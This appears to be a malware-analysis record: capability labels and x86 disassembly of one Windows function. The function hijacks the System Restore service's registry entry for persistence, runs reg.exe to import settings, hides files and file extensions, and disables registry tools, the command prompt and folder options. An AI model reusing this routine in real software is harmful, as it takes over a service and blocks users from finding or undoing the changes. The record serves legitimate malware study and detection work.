Function at 0x402930
Capabilities:
Create process on windows
Disable system features via registry on windows
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x20c
lea eax, [esp]
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push esi
push edi
push eax
push str.SYSTEMControlSet001Services_srservice
push 0x80000002
call ebp
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4029ad
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 4
push ecx
push 4
push 0
push str.Start
push edx
mov dword [esp + 0x30], 2
call ebx
mov edi, 0x40d9d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40d9d4
push 2
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call ebx
mov ecx, dword [esp + 0x10]
push ecx
call esi
jmp 0x4029eb
push 0x40e1d4
lea edx, [esp + 0x20]
push str.import__s
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x1c]
push 0
push 0x40c8b8
push eax
push str.reg.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call ebp
test eax, eax
jne 0x402a4a
lea edx, [esp + 0x18]
push 4
push edx
push 4
push eax
mov eax, dword [esp + 0x20]
push str.Hidden
push eax
mov dword [esp + 0x30], 2
mov dword [esp + 0x2c], 1
call ebx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push 0
push str.HideFileExt
push edx
call ebx
mov edi, eax
mov eax, dword [esp + 0x10]
push eax
call esi
test edi, edi
je 0x402a6a
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea ecx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call edi
mov edx, dword [esp + 0x10]
push edx
call esi
jmp 0x402a70
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call ebp
test eax, eax
jne 0x402ab6
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push eax
push str.NoSetFolders
push edx
mov dword [esp + 0x2c], 1
call ebx
mov edi, eax
mov eax, dword [esp + 0x10]
push eax
call esi
test edi, edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
je 0x402ae6
lea ecx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionPolicies
push 0x80000001
call edi
mov edx, dword [esp + 0x10]
push edx
call esi
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
mov ecx, dword [esp + 0x10]
push ecx
call esi
lea edx, [esp + 0x10]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebp
test eax, eax
jne 0x402b21
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push str.DisableRegistryTools
push ecx
mov dword [esp + 0x2c], 2
call ebx
mov edx, dword [esp + 0x10]
push edx
jmp 0x402b37
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call edi
mov ecx, dword [esp + 0x10]
push ecx
call esi
lea edx, [esp + 0x10]
push edx
push str.SoftwarePoliciesMicrosoftWindowsSystem
push 0x80000001
call ebp
test eax, eax
jne 0x402b86
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push str.DisableCMD
push ecx
mov dword [esp + 0x2c], 2
call ebx
mov edx, dword [esp + 0x10]
push edx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
lea eax, [esp + 0x10]
push eax
push str.SoftwarePoliciesMicrosoftWindowsSystem
push 0x80000001
call edi
mov ecx, dword [esp + 0x10]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret